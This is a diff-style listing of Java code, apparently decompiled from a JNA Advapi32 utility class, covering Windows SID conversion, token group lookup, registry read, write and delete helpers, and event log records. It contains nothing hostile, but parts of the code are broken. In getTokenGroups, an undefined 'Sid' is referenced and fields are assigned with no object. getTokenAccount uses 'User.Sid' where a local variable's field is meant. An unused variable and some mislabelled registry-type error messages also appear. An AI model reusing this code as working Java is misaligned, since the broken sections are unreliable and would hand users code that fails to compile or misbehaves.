+    Kernel32.INSTANCE.LocalFree(stringSid.getValue());
+    return result;
+  }
+  
+
+
+
+
+
+
+  public static byte[] convertStringSidToSid(String sidString)
+  {
+    WinNT.PSIDByReference pSID = new WinNT.PSIDByReference();
+    if (!Advapi32.INSTANCE.ConvertStringSidToSid(sidString, pSID)) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    return pSID.getValue().getBytes();
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean isWellKnownSid(String sidString, int wellKnownSidType)
+  {
+    WinNT.PSIDByReference pSID = new WinNT.PSIDByReference();
+    if (!Advapi32.INSTANCE.ConvertStringSidToSid(sidString, pSID)) {
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    return Advapi32.INSTANCE.IsWellKnownSid(pSID.getValue(), wellKnownSidType);
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean isWellKnownSid(byte[] sidBytes, int wellKnownSidType)
+  {
+    WinNT.PSID pSID = new WinNT.PSID(sidBytes);
+    return Advapi32.INSTANCE.IsWellKnownSid(pSID, wellKnownSidType);
+  }
+  
+
+
+
+
+
+  public static Account getAccountBySid(String sidString)
+  {
+    return getAccountBySid(null, sidString);
+  }
+  
+
+
+
+
+
+
+  public static Account getAccountBySid(String systemName, String sidString)
+  {
+    return getAccountBySid(systemName, new WinNT.PSID(convertStringSidToSid(sidString)));
+  }
+  
+
+
+
+
+
+
+
+  public static Account[] getTokenGroups(WinNT.HANDLE hToken)
+  {
+    IntByReference tokenInformationLength = new IntByReference();
+    if (Advapi32.INSTANCE.GetTokenInformation(hToken, 2, null, 0, tokenInformationLength))
+    {
+      throw new RuntimeException("Expected GetTokenInformation to fail with ERROR_INSUFFICIENT_BUFFER");
+    }
+    int rc = Kernel32.INSTANCE.GetLastError();
+    if (rc != 122) {
+      throw new Win32Exception(rc);
+    }
+    
+    WinNT.TOKEN_GROUPS groups = new WinNT.TOKEN_GROUPS(tokenInformationLength.getValue());
+    if (!Advapi32.INSTANCE.GetTokenInformation(hToken, 2, groups, tokenInformationLength.getValue(), tokenInformationLength))
+    {
+
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    ArrayList<Account> userGroups = new ArrayList();
+    
+    for (WinNT.SID_AND_ATTRIBUTES sidAndAttribute : groups.getGroups()) {
+      Account group = null;
+      try {
+        group = getAccountBySid(Sid);
+      } catch (Exception e) {
+        group = new Account();
+        sid = Sid.getBytes();
+        sidString = convertSidToStringSid(Sid);
+        name = sidString;
+        fqn = sidString;
+        accountType = 2;
+      }
+      userGroups.add(group);
+    }
+    return (Account[])userGroups.toArray(new Account[0]);
+  }
+  
+
+
+
+
+
+
+  public static Account getTokenAccount(WinNT.HANDLE hToken)
+  {
+    IntByReference tokenInformationLength = new IntByReference();
+    if (Advapi32.INSTANCE.GetTokenInformation(hToken, 1, null, 0, tokenInformationLength))
+    {
+      throw new RuntimeException("Expected GetTokenInformation to fail with ERROR_INSUFFICIENT_BUFFER");
+    }
+    int rc = Kernel32.INSTANCE.GetLastError();
+    if (rc != 122) {
+      throw new Win32Exception(rc);
+    }
+    
+    WinNT.TOKEN_USER user = new WinNT.TOKEN_USER(tokenInformationLength.getValue());
+    if (!Advapi32.INSTANCE.GetTokenInformation(hToken, 1, user, tokenInformationLength.getValue(), tokenInformationLength))
+    {
+
+      throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+    }
+    return getAccountBySid(User.Sid);
+  }
+  
+
+
+
+  public static Account[] getCurrentUserGroups()
+  {
+    WinNT.HANDLEByReference phToken = new WinNT.HANDLEByReference();
+    try
+    {
+      WinNT.HANDLE threadHandle = Kernel32.INSTANCE.GetCurrentThread();
+      WinNT.HANDLE processHandle; if (!Advapi32.INSTANCE.OpenThreadToken(threadHandle, 10, true, phToken))
+      {
+        if (1008 != Kernel32.INSTANCE.GetLastError()) {
+          throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+        }
+        processHandle = Kernel32.INSTANCE.GetCurrentProcess();
+        if (!Advapi32.INSTANCE.OpenProcessToken(processHandle, 10, phToken))
+        {
+          throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+        }
+      }
+      return getTokenGroups(phToken.getValue());
+    } finally {
+      if ((phToken.getValue() != WinBase.INVALID_HANDLE_VALUE) && 
+        (!Kernel32.INSTANCE.CloseHandle(phToken.getValue()))) {
+        throw new Win32Exception(Kernel32.INSTANCE.GetLastError());
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static boolean registryKeyExists(WinReg.HKEY root, String key)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, key, 0, 131097, phkKey);
+    switch (rc) {
+    case 0: 
+      Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      return true;
+    case 2: 
+      return false;
+    }
+    throw new Win32Exception(rc);
+  }
+  
+  public static class Account
+  {
+    public String name;
+    public String domain;
+    public byte[] sid;
+    public String sidString;
+    public int accountType;
+    public String fqn;
+    
+    public Account() {}
+  }
+  
+  public static boolean registryValueExists(WinReg.HKEY root, String key, String value) {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, key, 0, 131097, phkKey);
+    try {
+      switch (rc) {
+      case 0: 
+        break;
+      case 2: 
+        return false;
+      default: 
+        throw new Win32Exception(rc);
+      }
+      IntByReference lpcbData = new IntByReference();
+      IntByReference lpType = new IntByReference();
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, (char[])null, lpcbData);
+      boolean bool2;
+      switch (rc) {
+      case 0: 
+      case 122: 
+        return true;
+      case 2: 
+        return false;
+      }
+      throw new Win32Exception(rc);
+    }
+    finally {
+      if (phkKey.getValue() != WinBase.INVALID_HANDLE_VALUE) {
+        rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+        if (rc != 0) {
+          throw new Win32Exception(rc);
+        }
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String registryGetStringValue(WinReg.HKEY root, String key, String value)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, key, 0, 131097, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      IntByReference lpcbData = new IntByReference();
+      IntByReference lpType = new IntByReference();
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, (char[])null, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      if ((lpType.getValue() != 1) && (lpType.getValue() != 2)) {
+        throw new RuntimeException("Unexpected registry type " + lpType.getValue() + ", expected REG_SZ or REG_EXPAND_SZ");
+      }
+      char[] data = new char[lpcbData.getValue()];
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, data, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      return Native.toString(data);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String registryGetExpandableStringValue(WinReg.HKEY root, String key, String value)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, key, 0, 131097, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      IntByReference lpcbData = new IntByReference();
+      IntByReference lpType = new IntByReference();
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, (char[])null, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      if (lpType.getValue() != 2) {
+        throw new RuntimeException("Unexpected registry type " + lpType.getValue() + ", expected REG_SZ");
+      }
+      char[] data = new char[lpcbData.getValue()];
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, data, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      return Native.toString(data);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static String[] registryGetStringArray(WinReg.HKEY root, String key, String value)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, key, 0, 131097, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      IntByReference lpcbData = new IntByReference();
+      IntByReference lpType = new IntByReference();
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, (char[])null, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      if (lpType.getValue() != 7) {
+        throw new RuntimeException("Unexpected registry type " + lpType.getValue() + ", expected REG_SZ");
+      }
+      Memory data = new Memory(lpcbData.getValue());
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, data, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      ArrayList<String> result = new ArrayList();
+      int offset = 0;
+      String s; while (offset < data.size()) {
+        s = data.getString(offset, true);
+        offset += s.length() * Native.WCHAR_SIZE;
+        offset += Native.WCHAR_SIZE;
+        result.add(s);
+      }
+      return (String[])result.toArray(new String[0]);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static byte[] registryGetBinaryValue(WinReg.HKEY root, String key, String value)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, key, 0, 131097, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      IntByReference lpcbData = new IntByReference();
+      IntByReference lpType = new IntByReference();
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, (char[])null, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      if (lpType.getValue() != 3) {
+        throw new RuntimeException("Unexpected registry type " + lpType.getValue() + ", expected REG_BINARY");
+      }
+      byte[] data = new byte[lpcbData.getValue()];
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, data, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      return data;
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int registryGetIntValue(WinReg.HKEY root, String key, String value)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, key, 0, 131097, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      IntByReference lpcbData = new IntByReference();
+      IntByReference lpType = new IntByReference();
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, (char[])null, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      if (lpType.getValue() != 4) {
+        throw new RuntimeException("Unexpected registry type " + lpType.getValue() + ", expected REG_DWORD");
+      }
+      IntByReference data = new IntByReference();
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, data, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      return data.getValue();
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static long registryGetLongValue(WinReg.HKEY root, String key, String value)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, key, 0, 131097, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      IntByReference lpcbData = new IntByReference();
+      IntByReference lpType = new IntByReference();
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, (char[])null, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      if (lpType.getValue() != 11) {
+        throw new RuntimeException("Unexpected registry type " + lpType.getValue() + ", expected REG_QWORD");
+      }
+      LongByReference data = new LongByReference();
+      rc = Advapi32.INSTANCE.RegQueryValueEx(phkKey.getValue(), value, 0, lpType, data, lpcbData);
+      
+      if ((rc != 0) && (rc != 122)) {
+        throw new Win32Exception(rc);
+      }
+      return data.getValue();
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean registryCreateKey(WinReg.HKEY hKey, String keyName)
+  {
+    WinReg.HKEYByReference phkResult = new WinReg.HKEYByReference();
+    IntByReference lpdwDisposition = new IntByReference();
+    int rc = Advapi32.INSTANCE.RegCreateKeyEx(hKey, keyName, 0, null, 0, 131097, null, phkResult, lpdwDisposition);
+    
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    rc = Advapi32.INSTANCE.RegCloseKey(phkResult.getValue());
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    return 1 == lpdwDisposition.getValue();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static boolean registryCreateKey(WinReg.HKEY root, String parentPath, String keyName)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, parentPath, 0, 4, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      return registryCreateKey(phkKey.getValue(), keyName);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void registrySetIntValue(WinReg.HKEY hKey, String name, int value)
+  {
+    byte[] data = new byte[4];
+    data[0] = ((byte)(value & 0xFF));
+    data[1] = ((byte)(value >> 8 & 0xFF));
+    data[2] = ((byte)(value >> 16 & 0xFF));
+    data[3] = ((byte)(value >> 24 & 0xFF));
+    int rc = Advapi32.INSTANCE.RegSetValueEx(hKey, name, 0, 4, data, 4);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static void registrySetIntValue(WinReg.HKEY root, String keyPath, String name, int value)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, keyPath, 0, 131103, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      registrySetIntValue(phkKey.getValue(), name, value);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void registrySetLongValue(WinReg.HKEY hKey, String name, long value)
+  {
+    byte[] data = new byte[8];
+    data[0] = ((byte)(int)(value & 0xFF));
+    data[1] = ((byte)(int)(value >> 8 & 0xFF));
+    data[2] = ((byte)(int)(value >> 16 & 0xFF));
+    data[3] = ((byte)(int)(value >> 24 & 0xFF));
+    data[4] = ((byte)(int)(value >> 32 & 0xFF));
+    data[5] = ((byte)(int)(value >> 40 & 0xFF));
+    data[6] = ((byte)(int)(value >> 48 & 0xFF));
+    data[7] = ((byte)(int)(value >> 56 & 0xFF));
+    int rc = Advapi32.INSTANCE.RegSetValueEx(hKey, name, 0, 11, data, 8);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static void registrySetLongValue(WinReg.HKEY root, String keyPath, String name, long value)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, keyPath, 0, 131103, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      registrySetLongValue(phkKey.getValue(), name, value);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void registrySetStringValue(WinReg.HKEY hKey, String name, String value)
+  {
+    char[] data = Native.toCharArray(value);
+    int rc = Advapi32.INSTANCE.RegSetValueEx(hKey, name, 0, 1, data, data.length * Native.WCHAR_SIZE);
+    
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static void registrySetStringValue(WinReg.HKEY root, String keyPath, String name, String value)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, keyPath, 0, 131103, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      registrySetStringValue(phkKey.getValue(), name, value);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void registrySetExpandableStringValue(WinReg.HKEY hKey, String name, String value)
+  {
+    char[] data = Native.toCharArray(value);
+    int rc = Advapi32.INSTANCE.RegSetValueEx(hKey, name, 0, 2, data, data.length * Native.WCHAR_SIZE);
+    
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static void registrySetExpandableStringValue(WinReg.HKEY root, String keyPath, String name, String value)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, keyPath, 0, 131103, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      registrySetExpandableStringValue(phkKey.getValue(), name, value);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void registrySetStringArray(WinReg.HKEY hKey, String name, String[] arr)
+  {
+    int size = 0;
+    for (String s : arr) {
+      size += s.length() * Native.WCHAR_SIZE;
+      size += Native.WCHAR_SIZE;
+    }
+    
+    int offset = 0;
+    Memory data = new Memory(size);
+    for (String s : arr) {
+      data.setString(offset, s, true);
+      offset += s.length() * Native.WCHAR_SIZE;
+      offset += Native.WCHAR_SIZE;
+    }
+    
+    int rc = Advapi32.INSTANCE.RegSetValueEx(hKey, name, 0, 7, data.getByteArray(0L, size), size);
+    
+
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static void registrySetStringArray(WinReg.HKEY root, String keyPath, String name, String[] arr)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, keyPath, 0, 131103, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      registrySetStringArray(phkKey.getValue(), name, arr);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void registrySetBinaryValue(WinReg.HKEY hKey, String name, byte[] data)
+  {
+    int rc = Advapi32.INSTANCE.RegSetValueEx(hKey, name, 0, 3, data, data.length);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static void registrySetBinaryValue(WinReg.HKEY root, String keyPath, String name, byte[] data)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, keyPath, 0, 131103, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      registrySetBinaryValue(phkKey.getValue(), name, data);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public static void registryDeleteKey(WinReg.HKEY hKey, String keyName)
+  {
+    int rc = Advapi32.INSTANCE.RegDeleteKey(hKey, keyName);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void registryDeleteKey(WinReg.HKEY root, String keyPath, String keyName)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, keyPath, 0, 131103, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      registryDeleteKey(phkKey.getValue(), keyName);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public static void registryDeleteValue(WinReg.HKEY hKey, String valueName)
+  {
+    int rc = Advapi32.INSTANCE.RegDeleteValue(hKey, valueName);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public static void registryDeleteValue(WinReg.HKEY root, String keyPath, String valueName)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, keyPath, 0, 131103, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      registryDeleteValue(phkKey.getValue(), valueName);
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public static String[] registryGetKeys(WinReg.HKEY hKey)
+  {
+    IntByReference lpcSubKeys = new IntByReference();
+    IntByReference lpcMaxSubKeyLen = new IntByReference();
+    int rc = Advapi32.INSTANCE.RegQueryInfoKey(hKey, null, null, null, lpcSubKeys, lpcMaxSubKeyLen, null, null, null, null, null, null);
+    
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    ArrayList<String> keys = new ArrayList(lpcSubKeys.getValue());
+    char[] name = new char[lpcMaxSubKeyLen.getValue() + 1];
+    for (int i = 0; i < lpcSubKeys.getValue(); i++) {
+      IntByReference lpcchValueName = new IntByReference(lpcMaxSubKeyLen.getValue() + 1);
+      rc = Advapi32.INSTANCE.RegEnumKeyEx(hKey, i, name, lpcchValueName, null, null, null, null);
+      
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+      keys.add(Native.toString(name));
+    }
+    return (String[])keys.toArray(new String[0]);
+  }
+  
+
+
+
+
+
+
+
+
+  public static String[] registryGetKeys(WinReg.HKEY root, String keyPath)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, keyPath, 0, 131097, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      return registryGetKeys(phkKey.getValue());
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+  public static TreeMap<String, Object> registryGetValues(WinReg.HKEY hKey)
+  {
+    IntByReference lpcValues = new IntByReference();
+    IntByReference lpcMaxValueNameLen = new IntByReference();
+    IntByReference lpcMaxValueLen = new IntByReference();
+    int rc = Advapi32.INSTANCE.RegQueryInfoKey(hKey, null, null, null, null, null, null, lpcValues, lpcMaxValueNameLen, lpcMaxValueLen, null, null);
+    
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    TreeMap<String, Object> keyValues = new TreeMap();
+    char[] name = new char[lpcMaxValueNameLen.getValue() + 1];
+    byte[] data = new byte[lpcMaxValueLen.getValue()];
+    for (int i = 0; i < lpcValues.getValue(); i++) {
+      IntByReference lpcchValueName = new IntByReference(lpcMaxValueNameLen.getValue() + 1);
+      IntByReference lpcbData = new IntByReference(lpcMaxValueLen.getValue());
+      IntByReference lpType = new IntByReference();
+      rc = Advapi32.INSTANCE.RegEnumValue(hKey, i, name, lpcchValueName, null, lpType, data, lpcbData);
+      
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+      
+      String nameString = Native.toString(name);
+      
+      Memory byteData = new Memory(lpcbData.getValue());
+      byteData.write(0L, data, 0, lpcbData.getValue());
+      
+      switch (lpType.getValue()) {
+      case 11: 
+        keyValues.put(nameString, Long.valueOf(byteData.getLong(0L)));
+        break;
+      
+      case 4: 
+        keyValues.put(nameString, Integer.valueOf(byteData.getInt(0L)));
+        break;
+      
+      case 1: 
+      case 2: 
+        keyValues.put(nameString, byteData.getString(0L, true));
+        break;
+      
+      case 3: 
+        keyValues.put(nameString, byteData.getByteArray(0L, lpcbData.getValue()));
+        break;
+      
+      case 7: 
+        Memory stringData = new Memory(lpcbData.getValue());
+        stringData.write(0L, data, 0, lpcbData.getValue());
+        ArrayList<String> result = new ArrayList();
+        int offset = 0;
+        while (offset < stringData.size()) {
+          String s = stringData.getString(offset, true);
+          offset += s.length() * Native.WCHAR_SIZE;
+          offset += Native.WCHAR_SIZE;
+          result.add(s);
+        }
+        keyValues.put(nameString, result.toArray(new String[0]));
+        break;
+      case 5: case 6: case 8: 
+      case 9: case 10: default: 
+        throw new RuntimeException("Unsupported type: " + lpType.getValue());
+      }
+    }
+    return keyValues;
+  }
+  
+
+
+
+
+
+
+
+
+  public static TreeMap<String, Object> registryGetValues(WinReg.HKEY root, String keyPath)
+  {
+    WinReg.HKEYByReference phkKey = new WinReg.HKEYByReference();
+    int rc = Advapi32.INSTANCE.RegOpenKeyEx(root, keyPath, 0, 131097, phkKey);
+    if (rc != 0) {
+      throw new Win32Exception(rc);
+    }
+    try {
+      return registryGetValues(phkKey.getValue());
+    } finally {
+      rc = Advapi32.INSTANCE.RegCloseKey(phkKey.getValue());
+      if (rc != 0) {
+        throw new Win32Exception(rc);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+  public static String getEnvironmentBlock(Map<String, String> environment)
+  {
+    StringBuffer out = new StringBuffer();
+    for (Map.Entry<String, String> entry : environment.entrySet()) {
+      if (entry.getValue() != null) {
+        out.append((String)entry.getKey() + "=" + (String)entry.getValue() + "\000");
+      }
+    }
+    return out.toString() + "\000";
+  }
+  
+
+
+  public static enum EventLogType
+  {
+    Error, 
+    Warning, 
+    Informational, 
+    AuditSuccess, 
+    AuditFailure;
+    
+    private EventLogType() {}
+  }
+  
+  public static class EventLogRecord
+  {
+    private WinNT.EVENTLOGRECORD _record = null;
+    
+    private String _source;
+    
+    private byte[] _data;
+    
+    private String[] _strings;
+    
+
+    public WinNT.EVENTLOGRECORD getRecord()
+    {
+      return _record;
+    }
+    
+
+
+
+
+    public int getEventId()
+    {
+      return _record.EventID.intValue();
+    }
+    
+
+
+
+
+    public String getSource()
+    {
+      return _source;
+    }
+    
+
+
+
+
+    public int getStatusCode()
+    {
+      return _record.EventID.intValue() & 0xFFFF;
+    }
+    
+
+
+
+
+
+    public int getRecordNumber()
+    {
+      return _record.RecordNumber.intValue();
+    }
+    
+
+
+
+
+    public int getLength()
+    {
+      return _record.Length.intValue();
+    }
+    
+
+
+
+
+    public String[] getStrings()
+    {
+      return _strings;
+    }
+    
+
+
+
+
+    public Advapi32Util.EventLogType getType()
+    {
+      switch (_record.EventType.intValue()) {
+      case 0: 
+      case 4: 
+        return Advapi32Util.EventLogType.Informational;
+      case 16: 
+        return Advapi32Util.EventLogType.AuditFailure;
+      case 8: 
+        return Advapi32Util.EventLogType.AuditSuccess;
+      case 1: 
+        return Advapi32Util.EventLogType.Error;
+      case 2: 
+        return Advapi32Util.EventLogType.Warning;
+      }
+      throw new RuntimeException("Invalid type: " + _record.EventType.intValue());
+    }
+    
+
+
+
+
+
+    public byte[] getData()
+    {
+      return _data;
+    }
+    
+    public EventLogRecord(Pointer pevlr) {
+      _record = new WinNT.EVENTLOGRECORD(pevlr);
+      _source = pevlr.getString(_record.size(), true);
+      
+      if (_record.DataLength.intValue() > 0) {
+        _data = pevlr.getByteArray(_record.DataOffset.intValue(), _record.DataLength.intValue());
+      }
+      
+
+      if (_record.NumStrings.intValue() > 0) {
+        ArrayList<String> strings = new ArrayList();
+        int count = _record.NumStrings.intValue();
+        long offset = _record.StringOffset.intValue();
+        while (count > 0) {
+          String s = pevlr.getString(offset, true);
+          strings.add(s);
